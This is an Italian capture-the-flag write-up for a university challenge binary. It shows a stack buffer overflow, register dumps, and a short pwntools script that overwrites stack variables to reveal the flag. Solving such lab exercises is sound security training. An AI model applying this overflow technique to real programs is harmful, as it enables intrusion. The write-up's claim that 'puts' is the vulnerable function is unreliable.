

Soluzione

All'esecuzione il programma mostra chiaramente la presenza di un possibile buffer overflow:

```
ubuntu@ubuntu-2204:~/Downloads/ReversePwn/CourseEvaluation$ ./courseEval
Dear Student, you already filled the teaching questionnaire, but we miss
the overall course evaluation!
=====
A recap of your data:
Student ID: UniPD_01
Best course in the WORLD: CPP-
Best part of the course: WEB-
Best Teaching Assistant of all Time: Luca
=====
Insert overall course evaluation (max 50 char):
█
```

Inserendo più di 50 caratteri, si ha un segfault. Disassemblando la funzione, si nota la funzione *puts*, normalmente sfruttabile ai nostri scopi e la chiamata ad una funzione *questionnaire*, che esegue vari confronti e ancora una volta, chiama la funzione *puts*. Si nota, comunque, che viene scritto un file temporaneo, evidentemente con la flag che vogliamo.

Come suggerito dalla stessa consegna, l'unica cosa evidente da poter sfruttare è proprio la vulnerabilità della funzione *puts*.

In particolare, si nota dallo stack la ripetizione di 20, 20, 16 caratteri:

```
RSI: 0x555555556160 ("UniPD_01")
RDI: 0x7fffffffdfc8 ('a' <repeats 20 times>, "\002")
RBP: 0x6161616161616161 ('aaaaaaaa')
RSP: 0x7fffffffdd18 ('a' <repeats 20 times>)
RIP: 0x55555555538c (<questionnaire+370>:      ret)
R8 : 0x7fffffffdd1c ('a' <repeats 16 times>)
```

L'unica cosa importante è sovrascrivere le variabili con il valore corretto e nell'ordine corretto (questo è facilmente verificabile guardando la posizione delle variabili nello stack). Lo script *solution.py* esegue lo scopo:

```
from pwn import *
context.binary = "./courseEval"
p = process()
p.sendline(b"A" * 56 + b"UniPD_01" + b"CPP-" + b"PWN-" + b"Pier")
log.success(p.recvline_regex(rb"SPRITZ{.*}").decode("ascii"))
```

```
ubuntu@ubuntu-2204:~/Downloads/ReversePwn/CourseEvaluation$ python mysol
ution.py
[*] '/home/ubuntu/Downloads/ReversePwn/CourseEvaluation/courseEval'
  Arch:      amd64-64-little
  RELRO:     Full RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       PIE enabled
[+] Starting local process '/home/ubuntu/Downloads/ReversePwn/CourseEval
uation/courseEval': pid 3309
[+] What?? You still think CPP is the best course in the world? PWNing t
he best part? And you changed your mind saying Pier is the best teaching
assistant of all Time? Wow dude I'm so happy :) Please accept this gif
t: SPRITZ{CPP_PWNs_Everything_173453}
[*] Process '/home/ubuntu/Downloads/ReversePwn/CourseEvaluation/courseEv
al' stopped with exit code 0 (pid 3309)
```